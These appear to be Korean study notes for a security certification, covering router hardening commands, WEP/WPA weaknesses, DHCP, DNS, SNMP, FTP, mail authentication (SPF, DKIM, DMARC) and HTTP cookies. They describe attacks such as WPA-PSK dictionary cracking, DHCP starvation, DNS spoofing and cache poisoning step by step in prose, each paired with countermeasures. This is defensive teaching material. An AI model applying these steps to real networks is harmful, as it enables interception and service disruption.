텔넷 접근 제한	텔넷 접근 제한을 설정하여 허가된 사용자만 연결 시도를 허용 - SSH 를 설정하여 사용할 것을 권장
	(config) # access-list 10 permit host [허용할 IP] (config) # access-list10 deny any (config) # line vty 0 4 (config-line) # access-class 10 in
SNMP 설정	SNMP 정보 수신이 필요한 장비를 명시하여 허용하고 나머지는 차단 - SNMP 서비스를 사용하지 않는다면 no snmp-server 명령을 통해 서비스를 제거
	(config) # snmp-server community [유추할 수 없는 값] ro 11 (config) # snmp-server contact [이메일] (config) # access-list 11 permit host [허용할 IP] (config) # access-list 11 deny any (config) # interface FastEthernet 0/0 (config-if) # ip access-group 11 in
불필요한 서비스 제거	패킷의 방향을 바꿔서 정보를 수집할 수 없게 ICMP Redirect 패킷을 차단
	(config) # interface FastEthernet 0/0 (config-if) # no ip redirects
	DoS 나 DDoS 공격에 악용될 수 없게 directed-broadcast 를 차단
	(config) # interface FastEthernet 0/0 (config-if) # no ip directed-broadcast
	상태에 대한 정보를 얻을 수 없게 ICMP 에러 메시지 차단
	(config) # interface FastEthernet 0/0 (config-if) # no ip unreachables
	라우팅 경로를 패킷의 발송자가 직접 설정할 수 없게 Source Route 중지
	(config) # no ip source-route
입/출력 IP 보안 설정	외부에서 내부로 유입되는 IP 주소가 내부의 IP 주소라면 이는 공격자에게 악용된다고 보아야 하며 이를 차단 해야함

	(config) # access-list 15 deny [차단할 IP 대역] (config) # access-list 15 permit any (config) # interface FastEthernet 0/0 (config-if) # ip access-group 15 in
주소 위변조 방지	Unicast RPF 를 적용하여 인터페이스로 유입되는 출발지 IP 주소를 라우팅 정보를 이용하여 점검 reverse path 있는 경우 : 정상적인 패킷으로 판단하고 허용 reverse path 없는 경우 : 위조된 패킷으로 판단하고 차단
	(config) # interface FastEthernet 0/0 (config-if) # ip verify unicast reverse-path
BlackHole 보안 설정	DDoS 공격을 대응하기 위한 BlackHole 보안 설정
	(config) # interface null 0 (config-if) # no ip unreachables (config-if) # exit (config) # ip route 211.1.1.1 255.255.255.255 null 0

무선랜 보안	
무선랜 통신 방식은 공기를 전송매체로 하여 브로드캐스트하는 특성을 가지고 있기 때문에 무선 AP 의 비콘 프레임을 수신할 수 있는 범위 내에서는 무선 패킷을 도청/스니핑하고 위변조할 수 있는 문제점이 존재 무선전송 데이터 암호기술 : 무선 패킷에 대한 기밀성과 무결성을 보장 무선랜 접속 인증기술 : 상대방에 대한 신뢰성을 확인 - 최초의 무선랜은 별도의 무선랜 접속 인증기술과 전송 데이터 암호기술이 포함되지 않았기 때문에 인증절차 없이 접속이 가능하였고 평문 데이터를 전송하였음	
무선전송 데이터 암호기술	**설명**
WEP	초기 무선랜 보안기술로 IEEE 802.11b 표준에서부터 적용되었으며 데이터 암호화와 사용자 인증, 두 가지 기능을 모두 제공 WEP 암호키 : 고정된 공유키와 무작위로 생성한 24bit 초기벡터를 조합한 키 RC4 알고리즘 : WEP 암호키의 키 스트림을 생성하기 위한 알고리즘 공유키 인증방식 : 서로 같은 공유키를 갖는 사용자들이 인증하고 통신하는 방식 CRC-32 알고리즘 : 평문의 무결성을 보장하기 위한 알고리즘
	WEP 암호화/복호화 문제점 짧은 초기벡터 : 24bit 의 짧은 길이를 사용하기 때문에 IV 값이 재사용될 가능성 불완전한 RC4 알고리즘 : 암호키가 노출되는 문제점 짧은 길이의 암호키 : 짧은 암호키 사용으로 인한 공격 가능성 암호키 노출 : 무선전송 데이터의 노출 위험성
	WEP 인증 문제점 단방향 인증방식 : 악의적으로 설치된 불법 AP 인지 알 수 없기 때문에 피해가 발생 고정된 공유키 : 동일한 WEP 공유키를 사용하기 때문에 외부로 유출될 경우 문제 발생
WPA	WEP 의 취약성을 보완하기 위한 기술로 IEEE 802.11i 표준에서부터 적용되어 보다 강화된 인증 및 키 교환 방식, 향상된 무선구간 암호 알고리즘을 제공

story.com

	길어진 초기벡터 : WEP 의 24bit 초기벡터를 확장한 48bit 초기벡터를 사용 TKIP 방식 : 공유 비밀키를 동적으로 생성하여 무선 구간 패킷을 암호화 키 믹싱 : 별도의 키 생성 과정을 거쳐 각 패킷마다 별도의 암호키를 적용하는 함수 MIC 알고리즘 : CRC-32 알고리즘보다 안전한 메시지 무결성 검사 알고리즘 - WPA 는 암호 알고리즘으로 RC4-TKIP 를 사용
	WPA 암호화 문제점 불완전한 RC4 알고리즘 : 여전히 취약한 RC4 알고리즘을 사용 키 관리 : 키 관리 방법을 제공하지 않으며 키 크랙 공격에 대한 취약성을 가지고 있음 소프트웨어 : 소프트웨어적인 처리에 따른 암/복호화 시간지연 등의 성능상 문제점
WPA/WPA2-개인 인증 방식(PSK)	PSK 인증방식은 인증 서버가 설치되지 않은 소규모 망에서 사용하는 방식 - 무선 AP 와 단말기가 자신과 동일한 공유키를 가지고 있는지 4-way handshake 과정을 통해 확인하여 인증을 수행하지만 사전 공격을 통해 손쉽게 크랙할 수 있는 취약점이 존재
	1. 공격자는 4-way handshake 과정을 스니핑
	2. 사전 파일에 있는 단어를 이용하여 PSK 를 추측하여 생성
	3. 생성한 PSK 와 스니핑한 무선패킷에 있는 파라미터를 이용하여 PTK 를 생성
	4. 생성한 PTK 를 이용하여 MIC 값을 생성한 후 스니핑한 MIC 값과 비교
	5. 일치할 경우 추측한 패스워드를 접속/인증 패스워드로 사용
	6. 일치하지 않을 경우 다른 단어를 이용하여 반복
WPA-기업 인증 방식(IEEE 802.1x/EAP)	802.1x 표준에서 제공하는 EAP 인증기능을 이용하여 사용자 인증 방법으로 사용 EAP : 어떤 링크에도 접속이 가능한 단순한 캡슐화 개념의 프로토콜 - EAP 자체는 실제 인증 프로토콜이 아니지만 다양한 종류의 인증 방법을 전송하는 역할을 수행
무선랜 접속 인증 기술	**설명**
SID 설정을 통한 접속 제한	무선 AP 를 브로드캐스트하지 않도록 설정 SSID 설정 장점 : SSID 를 모르는 사용자는 무선랜에 접속할 수 없음 SSID 설정 단점 : 무선 데이터 분석 도구를 이용해 손쉽게 SSID 를 알아낼 수 있음
MAC 주소 인증	무선랜 접속을 허용할 단말의 MAC 주소를 무선 AP 에 사전 등록 MAC 주소 인증 장점 : 등록된 단말기만 무선랜 접속이 가능 MAC 주소 인증 단점 : 인증된 단말의 MAC 주소로 위조하여 접속할 수 있음

어플리케이션

어플리케이션 기본

DHCP	
동적으로 클라이언트의 네트워크 주소를 설정하기 위한 프로토콜 - 서버는 67/udp, 클라이언트는 68/udp 포트를 사용 - 클라이언트가 DHCP 서버를 찾을 때 MAC 브로드캐스트를 수행 - 클라이언트는 Ack 메시지를 받고 IP 정보를 설정	
DHCP 메시지	**설명**
DHCP Discover	클라이언트가 DHCP 서버를 찾기 위한 메시지
DHCP Offer	DHCP 서버가 클라이언트에게 IP 정보를 제공해주는 메시지
DHCP Request	클라이언트가 해당 IP 정보를 사용하겠다고 요청하는 메시지
DHCP Ack	할당된 주소정보를 클라이언트에게 전송하는 메시지 - DHCP 서버는 클라이언트의 정보를 테이블에 저장
DHCP 공격	**설명**
DHCP Starvation Attack	DHCP 서버의 할당 가능한 IP 를 모두 소진하게 만들어 IP 할당이 불가능하게 만드는 공격
1. 공격자는 Discover 메시지를 서로 다른 MAC 주소로 대량으로 전송	
2. DHCP 서버는 해당 클라이언트들에게 IP 정보를 제공해주는 Offer 메시지를 전송	
3. DHCP 서버에게 Request 메시지까지 보낸 후 실제로는 할당하지 않음	

tishac.tistory.com

DNS
사용자가 숫자로 된 IP 주소 대신 인터넷 도메인 이름과 검색 가능한 URL 을 사용하여 웹사이트에 접속하는 것을 가능하게 함 - 질의/응답 데이터가 512byte 이하일 경우 53/udp 사용 - 질의/응답 데이터가 512byte 를 초과하거나 존 전송 시 53/tcp 사용 비연결 특성 : 클라이언트는 DNS 서버와 연결 상태를 유지하지 않음 응답 특성 : 먼저 수신한 응답을 신뢰하고 이후에 수신한 응답을 모두 폐기 캐시 사용 : 반복적 질의를 요청하여 부하가 발생하는 것을 막기 위함 TTL 유지 : DNS 서버의 캐시 정보를 일정 시간 동안 유지되도록 함 DNS 질의/응답 정보 : Transaction ID, 출발지/목적지 주소(IP, Port)
DNS 질의 과정
1. 사용자는 도메인/URL 에 대한 IP 주소를 네임서버에 질의
2. DNS Resolver 는 캐시를 확인하고, 그 다음 hosts 파일을 검색하여 결과를 반환
3. 캐시나 hosts 파일에 데이터가 없으면, DNS Resolver 는 재귀 DNS 서버로 질의
4. 재귀 DNS 서버는 다른 네임서버에 대한 반복적인 질의를 수행하고 결과를 반환
5. 사용자는 반환된 IP 주소를 받아와서 일정 기간 동안 자신의 DNS 캐시에 저장

6. 사용자는 해당 IP 주소를 사용하여 대상 사이트로 접속	
네임서버 구성파일	**설명**
/etc/named.conf	존 설정을 할 수 있는 네임서버 설정 파일
/etc/resolv.conf	시스템 기본 네임서버 설정 정보를 담고 있는 파일
/etc/hosts	도메인/호스트명과 IP 주소 매핑정보를 담고 있는 파일
/etc/host.conf	DNS 질의 순서를 지정하는 파일
DNS Cache 명령	
윈도우에서 DNS 캐시 정보를 조회하거나 삭제하는 방법 - ipconfig /displaydns : 로컬 DNS 캐시 정보 조회(조작된 주소 정보 확인 가능) - ipconfig /flushdns : 로컬 DNS 캐시 정보 삭제	
DNS 도구	**설명**
DNS Lookup	DNS 레코드를 조회할 때 사용하는 명령으로 DNS Lookup 유형에는 순방향 룩업과 역방향 룩업이 있음 - forward DNS lookup : 순방향 룩업(도메인 명을 통해서 IP 주소를 알아내는 질의) - reverse DNS lookup : 역방향 룩업(IP 주소를 통해서 도메인 명을 알아내는 질의)
dig	nslookup 을 대체하기 위한 목적으로 만들어진 명령어로 유닉스 및 리눅스 계열의 OS 는 기본적으로 설치되어 있음
whois	whois 서버를 통해서 해당 도메인의 등록정보, 네트워크 할당 정보 등을 조회하기 위한 명령으로 해당 도메인 명이 다른 사람에 의해 사용 중인지를 점검하는 용도로 많이 사용 - 해당 도메인의 등록정보/소유정보, 네임서버 정보 등을 조회 : whois [도메인 명] - 해당 주소의 네트워크 대역을 관리하는 대행자 정보 등을 확인 : whois [IP 주소]
레코드 타입	**설명**
A	도메인에 대한 IP 주소 질의
ANY	도메인에 대한 모든 레코드 질의
MX	도메인의 메일서버 질의
NS	도메인의 네임서버 질의
SOA	존의 기본 속성 정보 질의
TXT	도메인에 대한 텍스트 정보 질의
PTR	IP 에 대한 도메인 정보 질의
AXFR	존 버전에 상관없이 무조건 존 전송 요청
IXFR	존 버전을 비교하여 상위 버전일 경우 존 전송 요청
DNS 공격	**설명**
스니핑 기반의 DNS Spoofing	희생자에게 전달되는 DNS 응답을 조작하여 희생자가 의도하지 않은 주소로 접속하게 만드는 공격 - 기본적으로 스니핑을 이용
	1. 공격자는 무차별 모드나 ARP Spoofing 을 통해 희생자를 스니핑

tishactistory.com

	2. 희생자가 DNS 질의를 수행(트래픽에 Transaction ID 노출)
	3. 공격자는 IP 와 Port 를 조작하고 Transaction ID 를 설정
	4. 정상 응답보다 빠르게 희생자에게 조작된 DNS 응답을 전송
	5. 조작된 응답 이후에 도착하는 정상 응답을 폐기
	6. 희생자는 정상 주소를 입력해도 조작된 주소로 접속
스니핑 기반의 DNS Spoofing 공격 대응방안	스니핑 탐지 및 차단 : 기본적으로 스니핑을 이용하기 때문에 탐지 및 차단하도록 함
	hosts 파일 관리 : DNS 질의보다 우선순위가 높은 hosts 파일에 등록하여 관리
DNS Cache Poisoning	DNS 서버의 캐시 정보를 조작하여 희생자가 의도하지 않은 주소로 접속하게 만드는 공격 - DNS 서버를 이용
	1. 공격자는 공격 대상 DNS 서버에 조작할 도메인 질의를 다수 전송
	2. 반복적 질의 시 사용하는 정보를 모르게 때문에 정보를 다수 생성
	3. 공격 대상 DNS 서버가 반복적 질의를 수행하는 동안에 다수의 조작된 DNS 응답 전송
	4. 조작된 응답 중 정상 응답보다 먼저 일치하는 응답이 있으면 DNS 서버의 캐시에 저장
	5. 이를 질의하는 사용자는 조작된 주소의 사이트로 접속
DNS Cache Poisoning 공격 대응방안	네임서버 버전 : 네임서버의 Bind DNS 를 최신 버전 상태로 유지
	재귀적 질의 제한 : 도메인 관리용 DNS 서버는 재귀적 질의를 허용하지 않도록 설정
	사용자 제한 : 제한된 사용자가 사용하는 캐시 DNS 서버라면 제한해서 허용하도록 함
	DNSSEC : 기존의 DNS 에 공개키 암호화 방식의 보안 기능을 추가 부여(기밀성 X)
DNS 서버 보안	**설명**
Bind DNS 보안	도메인 네임서버는 도메인의 존 데이터 관리 측면에서 원본 존 데이터를 관리하는 마스터 네임서버와 이를 동기화해서 사용하는 슬레이브 네임서버로 구분 존 데이터 : 관리하는 도메인 영역 정보(관리자가 설정한 존 파일을 읽어 들여 구성) 존 전송 : 마스터에 있는 원본 존 데이터를 슬레이브가 동기화하는 작업 리졸버 : 네임서버로 질의를 수행하여 그 결과를 응용 프로그램에 반환해주는 모듈
	재귀적 질의에 대한 제한 : 과도한 질의 요청으로 DoS 형태의 공격으로 악용될 소지가 있으며 DNS Cache Poisoning 공격에 노출되는 문제를 방지하기 위함 - /etc/named.conf 파일에서 설정

	recursion no; // 재귀적 질의를 허용하지 않음
	// allow-recursion {none;}; 재귀적 질의를 허용하지 않음
	// allow-recursion {[IP 또는 IP 대역];}; 제한적으로 재귀적 질의를 허용
	// allow-recursion {[명시한 acl 명];}; 제한적으로 재귀적 질의를 허용

	존 전송에 대한 제한 : 존 전송을 요청하여 네트워크 및 시스템 자원을 소모시킬 수 있으며 Zone 데이터에 저장된 해당 도메인의 서버 정보가 그대로 노출되는 것을 방지하기 위함 - /etc/named.conf 파일에서 설정

ushac.tistory.com

	allow-transfer {none;}; // 존 전송을 허용하지 않을 경우
	// allow-transfer {[슬레이브 IP];}; 존 전송을 Slave 만 허용할 경우

SNMP	
네트워크상의 각 호스트로부터 정기적으로 여러 관리 정보를 자동으로 수집하거나 실시간으로 상태를 모니터링 및 설정할 수 있는 서비스 NMS : 네트워크상의 자원들을 모니터링하고 제어하기 위한 도구(관리자-대행자 구조) Manager : Agent 에 필요한 정보를 요청하는 역할 수행(162/udp) Agent : 관리 대상 시스템에 설치되어 필요한 정보를 수집하고 Manager 에게 전달하는 역할 수행(161/udp)	
SNMP 통신하기 위한 최소 사항	**설명**
SNMP 버전	관리자와 대행자 간 SNMP 버전 일치 여부
Community String	상호 간에 설정한 Community String 일치 여부
PDU	통신하기 위한 메시지 유형 일치 여부
SNMP 데이터수집 방식	**설명**
Polling 방식	Manager 가 Agent 에게 정보를 요청하면 응답 - Agent 가 161/udp 포트를 사용
Event-Reporting 방식	Agent 가 이벤트 발생 시 이를 Manager 에게 알림 - Manager 가 162/udp 포트를 사용 - Agent 가 Manager 에게 알릴 때 Trip 메시지를 사용
PDU	통신하기 위한 메시지 유형 일치 여부
SNMP 데이터 모델	**설명**
MIB	SNMP 관리 에이전트가 관리하는 객체의 집합을 정의 집합 : 관리자가 조회하거나 설정할 수 있는 객체들의 데이터베이스 트리 구조 : 계층적 구성으로 OID 를 사용하여 각각의 객체를 식별
SMI	MIB 의 구조와 포맷을 정의하는 규격 ASN.1 : 데이터와 데이터의 속성들을 설명하기 위한 공식 언어 name : 해당 객체를 식별하기 위한 식별자(OID) syntax : 객체의 데이터 유형 encoding : 메시지 전송 시 비트 변환 규칙으로 BER 을 사용
community string	
SNMP 데몬과 클라이언트가 데이터를 교환하기 전에 인증을 위해 사용하는 일종의 패스워드 초기값 변경 : public 또는 private 가 설정되어 있는 경우 의미없는 문자열로 변경 제공 모드 : RO 와 RW 모드를 제공하며 RW 모드는 가급적 사용 자제를 권고	
SNMP 버전	**설명**
SNMPv1	암호화 및 인증기능이 없고 community string 만 일치하면 모든 정보를 얻을 수 있음 암호화 여부 : 클라이언트와 데몬 간의 요청, 응답 과정은 암호화가 아닌 평문으로 전송
SNMPv2	암호화(DES)와 해시(MD5) 기능을 추가했으나 송신처 인증기능이 없음

tishactistory.com

	암호화 여부 : 가장 많이 사용되는 SNMPv2c 는 복잡한 보안 기능을 제거한 버전으로 취약
SNMPv3	데이터 인증과 암호 기능 및 재사용 방지, 세분화된 접근통제 등 개선된 보안서비스를 제공함으로써 이전 버전에서 제공되지 않았던 안전한 통신망 관리를 위한 기반 기술을 제공 암호화 여부 : 계정과 암호로 인증하는 보안 기능이 추가

SNMP 보안
SNMPv3 보안 서비스는 사용자 기반 보안모델과 뷰 기반 접근통제 모델을 제공 사용자 기반 보안모델 : 재전송 공격 방지, 위/변조 방지, 스니핑 방지를 제공 뷰기반 접근통제 모델 : 인가된 사용자의 MIB 접근통제 기능을 제공

FTP	
네트워크 상에서 파일을 전송하기 위한 표준 프로토콜 - 파일을 서버와 클라이언트 간에 전송	
FTP 모드	**설명**
능동 모드	서버가 클라이언트에게 데이터 연결을 요청하는 방식 - 클라이언트가 포트 번호 지정 제어 채널 : Client 의 1024/tcp 이상 포트에서 Server 의 21/tcp 포트로 접속 데이터 채널 : Server 의 20/tcp 포트에서 Client 의 1024/tcp 이상 포트로 접속
	1. FTP 클라이언트는 FTP 서버의 21/tcp 포트로 접속
	2. 제어 채널을 생성(PORT)
	3. FTP 클라이언트가 FTP 서버에게 데이터 채널 생성을 위한 Port 를 알려줌
	4. FTP 서버는 FTP 클라이언트가 알려준 IP 와 Port 로 접속
	5. 데이터 채널을 생성
능동 모드 문제점	클라이언트에 방화벽이 설치되어 원격 FTP 서버에서 클라이언트로의 접속을 허용하지 않을 경우 데이터 채널 접속이 불가능하여 데이터를 받을 수 없는 문제점이 있음 클라이언트 방화벽 설정 : 원격 FTP 서버의 접속을 허용하도록 설정 수동 모드 사용 : 클라이언트에서 수동 모드로 원격 FTP 서버에 접속
수동 모드	클라이언트가 서버에 데이터 연결을 요청하는 방식 - 서버가 포트 번호 지정 제어 채널 : Client 의 1024/tcp 이상 포트에서 Server 의 21/tcp 포트로 접속 데이터 채널 : Client 의 1024/tcp 이상 포트에서 Server 의 1024/tcp 이상 포트로 접속
	1. FTP 클라이언트는 FTP 서버의 21/tcp 포트로 접속
	2. 제어 채널을 생성(PASV)
	3. FTP 서버가 FTP 클라이언트에게 데이터 채널 생성을 위한 Port 를 알려줌
	4. FTP 클라이언트는 FTP 서버가 알려준 Port 로 접속
	5. 데이터 채널을 생성

tishac.tistory.com

수동 모드 문제점	서버는 데이터 채널 생성을 위해 인바운드 트래픽에 대한 방화벽의 1024/tcp 이상 포트를 모두 허용해야 하는 문제점이 있음 상태 검사 기능 : 연결 상태를 추적하여 데이터 채널을 허용하도록 설정
FTP 공격	**설명**
FTP Bounce Attack	공격 대상 네트워크를 스캔하거나 공격자가 원하는 서버로 데이터를 전송하는 형태의 공격 - FTP 설계의 구조적 취약점을 이용해 데이터 채널을 생성할 때 임의의 목적지를 설정할 수 있음 - 목적지 IP 와 Port 번호를 지정해 FTP 서버로 전달
FTP Bounce Attack 대응방안	FTP 의 원래 규약은 인정하되 다른 서비스가 20 번 port 접속을 요청하면 거절
TFTP Attack	보안 기능이 없는 TFTP 서버에 접속하여 파일에 접근하거나 악의적인 파일을 생성하는 공격 - 별도의 인증과정이 없어 지정한 디렉터리에 접근할 수 있음
TFTP Attack 대응방안	TFTP 서비스 사용 안할 시 서비스파일에 TFTP 서비스를 주석처리하여 서비스를 비활성화
	TFTP 서비스 사용 시 서비스파일에 TFTP 서비스의 server_args 경로에 -s 추가 - secure mode
Anonymous FTP Attack	익명 계정으로 FTP 서버에 접속하여 파일에 접근하거나 악의적인 파일을 생성하는 공격 - 익명 계정을 통해 비밀번호 인증 없이 파일에 접근할 수 있음
Anonymous FTP Attack 대응방안	/etc/vsftpd.conf 파일에 anonymous_enable=NO 설정하여 익명 계정 제한
FTP 보안	**설명**
FTP 접근제어	FTP 서비스는 기본적으로 평문 송수신을 하므로 아이디 및 패스워드가 노출되기 쉬운 서비스로 중요 계정에 대해서는 FTP 접속을 제한해야 함 - 트래픽에 아이디와 패스워드 및 중요 정보가 평문상태로 노출
	ftpusers 파일 : ftpusers 파일을 통해 접속을 제한할 계정정보를 명시 - root 등 중요 계정을 ftpusers 파일에 명시하여 접속을 제한
	user_list 파일 : vsFTP 의 user_list 파일을 통해 접속을 제한할 계정정보를 명시 - root 등 중요 계정을 user_list 파일에 명시하여 접속을 제한 파일 사용 설정 : /etc/vsftpd.conf 파일에 userlist_enable=YES
	TCP Wrapper 이용 : IP 기반 접근제어 설정 - hosts.allow, hosts.deny 파일을 통해 접근제어 설정 연동 설정 : /etc/vsftpd.conf 파일에 tcp_wrappers=YES

tishac.tistory.com

Mail
메시지와 파일을 주고받기 위한 통신 방식 - 이메일 시스템은 사용자가 이메일을 작성, 전송, 수신 및 저장할 수 있도록 도와주는 여러 구성 요소와 프로토콜로 구성 MUA : 사용자가 메일을 송수신하기 위해 사용하는 메일 클라이언트 프로그램 MTA : 메일 서버 프로그램으로 수신한 메일을 분석하여 메일을 수신자에게 전송

MDA : 사용자 메일함에 메일을 저장
MRA : 메일 클라이언트가 확인을 요청하는 메일을 사용자 메일함에서 사용자로 전달

주요 메일 프로토콜	설명
SMTP	메일 클라이언트와 메일 서버 또는 송수신 메일 서버간에 메일을 전송(25/tcp)
POP3	메일을 서버로부터 이동하는 방식으로 가져옴(110/tcp) - 서버에서 메일을 가져오면 서버에 있는 메일을 삭제함
IMAP	메일을 서버로부터 복사하는 방식으로 가져옴(143/tcp) - 서버에 있는 메일을 삭제하지 않음

메일 과정
1. 송신자 메일 작성 : 송신자는 MUA 를 이용하여 메일을 작성
2. 송신자 메일 전송 : SMTP 프로토콜을 통해 송신자가 설정한 MTA 로 메일을 전송
3. 메일 큐 임시 저장 : MTA 는 수신한 메일을 메일 큐에 임시 저장
4. 메일 분석 : 메일주소를 확인하여 자신의 메일주소인 것을 확인
5. 사용자 메일함 저장 : MDA 를 통해 각 사용자 메일함에 파일형태로 저장
6. 수신자 메일 요청 : 수신자는 MUA 를 이용하여 자신의 메일 확인을 요청
7. 수신자 메일 전달 : MRA 는 해당 사용자의 메일함에 있는 메일을 POP3 또는 IMAP 으로 수신자에게 전달

SMTP 메일 형식 구조	설명
봉투	MTA 간에 메일 송/수신을 위한 정보 - 수신 메일서버에게 전달되는 정보 - MAIL FROM 은 공격자에 의해 악의적으로 조작될 수 있음 MAIL FROM : 발신자(MTA) 메일주소 RCPT TO : 수신자(MTA) 메일주소
메시지	송/수신자가 확인할 수 있는 정보 - 메일 수신자에게 전달되는 정보 - FROM 은 공격자에 의해 악의적으로 조작될 수 있음 From : 발신자(MUA)의 메일주소 To : 수신자(MUA)의 메일주소 Subject : 메일의 제목

tistory.com

SMTP 릴레이
메일서버 외부에서 메일서버를 경유하여 다른 메일서버로 메일을 발송하는 것 오픈 릴레이 : 인증 없이 모든 메일을 릴레이 해주는 메일서버(스팸메일 발신자의 메일서버로 악용) 인증된 릴레이 : 인증을 통해 메일 릴레이가 가능하도록 발신자를 제한한 메일서버(SMTP AUTH)

access 파일
8.9 버전 이후부터 스팸 차단과 관련된 기능이 추가되었으며 access DB 라는 데이터베이스를 이용해 특정 메일의 차단 및 릴레이 제한을 설정할 수 있음 - access 파일을 통해 적용 대상과 처리 방식을 지정해서 메일에 대한 허용/거부, 릴레이 여부를 설정 적용 대상 지정 : IP, IP 대역, 도메인, 메일주소 등을 지정 처리 방식 지정 : OK, RELAY, REJECT(반환 O), DISCARD(반환 X) 등을 지정

파일 적용 방법 : makemap hash /etc/mail/access < /etc/mail/access	
sendmail 구성 파일 및 디렉터리	**설명**
/usr/sbin/sendmail	sendmail 주 데몬 실행파일
/usr/sbin/makemap	sendmail 맵 생성 실행파일
/var/spool/mqueue	수신한 메일을 임시 저장하는 디렉터리(메일 큐)
/var/spool/mail	사용자 메일함 디렉터리(사용자 메일함)
/var/log/maillog	메일서버의 로그파일
/etc/mail/access	스팸메일 및 릴레이 차단을 위한 설정 파일
/etc/mail/sendmail.cf	sendmail 설정파일
이메일 보안 기술	**설명**
SPF	수신한 메일의 발신자 IP 주소가 발신자 메일주소 도메인의 실제 메일서버 정보와 일치하는지 검사할 수 있는 기술 - 인증된 발신자 메일서버로부터 온 메일인지 확인
	1. 발신자는 발신 메일서버 정보를 SPF 형식으로 발신 DNS 에 등록
	2. 메일을 전송
	3. 수신 메일서버는 발신 IP 를 발신 DNS 에 질의
	4. 주소일치여부 확인(등록된 발신 메일서버 주소 = 수신받은 메일의 발신 메일서버)
	5. 발신 IP 가 일치할 경우 수신, 발신 IP 가 불일치할 경우 차단
DKIM	수신된 이메일이 위변조되지 않았는지 수신자 측에서 검증할 수 있는 기술 - 메일의 헤더나 내용이 위변조되지 않았는지 확인
	1. 발신 메일서버에서 발신 DNS 에 공개키 정보를 등록
	2. 발신 메일서버에서 메일을 개인키로 전자서명 후 메일을 전송
	3. 수신 메일서버는 공개키 값을 알기위해 발신 DNS 에 질의
	4. 공개키 값을 회신하여 서명값 검증을 수행
	5. 해시값이 일치할 경우 수신, 해시값이 불일치할 경우 차단
DMARC	정당한 발신자인지 여부와 메일의 위변조 여부를 검사하고 수신 측에서 정책 처리 결과에 대한 DMARC 보고서를 발신 측에 전달하여 발신 측에서 메일 모니터링을 할 수 있는 기술 - 정책에 따른 SPF 와 DKIM 의 이중 적용 및 수신이 실패되는 메일에 대한 모니터링을 확인
	1. 발신자는 발신 메일서버 정보를 SPF 형식으로 발신 DNS 에 등록
	2. 발신 메일서버에서 발신 DNS 에 공개키 정보를 등록
	3. 발신 메일서버에서 메일을 개인키로 전자서명 후 메일을 전송
	4. 수신 메일서버는 발신 DNS 에 SPF+DKIM 을 포함한 DMARC 정보를 조회

tishac.tistory.com

	5. 인증에 성공할 경우 수신, 인증에 실패할 경우 보고서를 작성하여 발신 DNS 에 인증결과를 보고
메일 헤더 정보	**설명**
Received 메시지 헤더	실제 메일이 전송된 경로로 근원지를 역추적할 수 있음 프로토콜 : TLS 버전 정보(TLS1 .2) 키 교환 알고리즘 : ECDHE(TLS 통신에 필요한 키 교환을 위해 사용) 인증/서명 알고리즘 : RSA(인증서에 대한 인증 및 키 교환 시 사용하는 매개변수에 대한 서명을 위해 사용) 대칭키 블록 암호 알고리즘 : AES128(대칭키 블록 암호화를 위해 사용) 블록암호 운용모드 : GCM(블록암호 운용모드 사용) 메시지 인증 알고리즘 : SHA256(메시지 인증을 위한 MAC 알고리즘으로 사용)
Received-SPF 메시지 헤더	SPF 인증 결과를 기록하는 헤더 인증 결과 : pass(통과), fail(실패), soft fail, neutral 등의 결과를 확인 가능
Authentication-Results 메시지 헤더	각종 인증 결과를 기록하는 헤더 SPF 인증 결과 : spf=pass, spf=fail 등 DKIM 인증 결과 : dkim=pass, dkim=fail 등 DMARC 인증 결과 : dmarc=pass, dmarc=fail 등
스팸메일 방지 보안도구	**설명**
Procmail	Sendmail.cf 에 포함시키거나 사용자 디렉터리에 forward 파일에 위치시켜 실행시키는 Plug-In 형식
Sanitizer	e-mail 을 이용한 모든 공격에 대해 효과적으로 대응할 수 있도록 해주는 procmail ruleset
Inflex	로컬이나 외부로 나가는 e-mail 에 대한 Inbound 와 Outbound 정책을 세워 메일 필터링이 가능
SpamAssassin	헤더 내용, 화이트리스트와 블랙리스트, RBL 등의 다양한 분류로 메일 필터링

tishac.tistory.com

HTTP	
웹 상에서 클라이언트와 서버 간에 통신을 위해 개발된 프로토콜 - 하이퍼텍스트는 참조 혹은 링크를 통해 한 문서에서 다른 문서로 접근할 수 있는 문서 - 서버는 Set-Cookie 응답헤더에 쿠키에 대한 보안설정을 할 수 있음 HTTP 1.0 버전 : HTTP 응답 이후에 TCP 연결을 바로 종료하는 구조 HTTP 1.1 버전 : TCP 연결 상태를 웹서버에 따라 일정 시간 지속 시키는 옵션 추가	
상태 유지 기술	**설명**
쿠키	개별 클라이언트 상태정보를 HTTP 요청/응답헤더에 담아서 전달하는 작은 정보/데이터 - 동일 클라이언트의 현재 요청과 이전 요청을 식별하지 못하는 상태정보를 유지하지 않는 프로토콜의 특성을 보완하기 위한 클라이언트 기술 영속 쿠키 : 클라이언트에 파일형태로 지속해서 존재하는 쿠키 세션 쿠키 : 클라이언트 메모리상에 세션이 유지되는 동안 존재하는 쿠키(웹 브라우저 종료 시 소멸)

1. 클라이언트에서 HTTP 요청	
2. 서버는 Set-cookie 응답헤더를 통해 쿠키를 설정하여 응답	
3. 클라이언트는 cookie 요청헤더를 이용해 지속해서 쿠키를 전달	
세션	개별 클라이언트 상태정보를 서버에 저장하는 기술 - 동일 클라이언트의 현재 요청과 이전 요청을 식별하지 못하는 상태정보를 유지하지 않는 프로토콜의 특성을 보완하기 위한 서버 기술 세션 ID : 개별 클라이언트 세션을 식별하기 위해 부여(세션 쿠키를 이용해 주고받음)
1. 클라이언트에서 로그인 요청	
2. 서버는 Set-cookie 응답헤더를 통해 세션 ID 를 담은 세션쿠키 설정 응답	
3. 클라이언트는 cookie 요청헤더를 이용해 세션 쿠키를 전달	
쿠키 보안 속성	**설명**
HttpOnly	클라이언트에서 스크립트를 통해 해당 쿠키에 접근하는 것을 차단 - 쿠키 탈취를 위한 XSS 공격에 대응
Secure	클라이언트에서 HTTPS 통신일 경우에만 해당 쿠키를 전송 - 쿠키에 대한 기밀성을 보장
Expires	쿠키의 유효기간을 설정 - 유효기간을 최소한으로 설정하여 쿠키 정보가 공격자에게 노출되는 것을 방지
요청 메시지 구조	**설명**
요청라인	한 행으로 구성되며 요청 메소드와 요청 URI, HTTP 버전을 담고 있음 GET : 요청 메시지 바디가 없으며 데이터를 요청 URI 끝에 추가해서 서버에 전송 POST : 요청 메시지 바디에 데이터를 담아 서버에 전송 이외의 메소드 : 불필요한 메소드를 허용할 경우 공격자가 악의적인 행위 가능
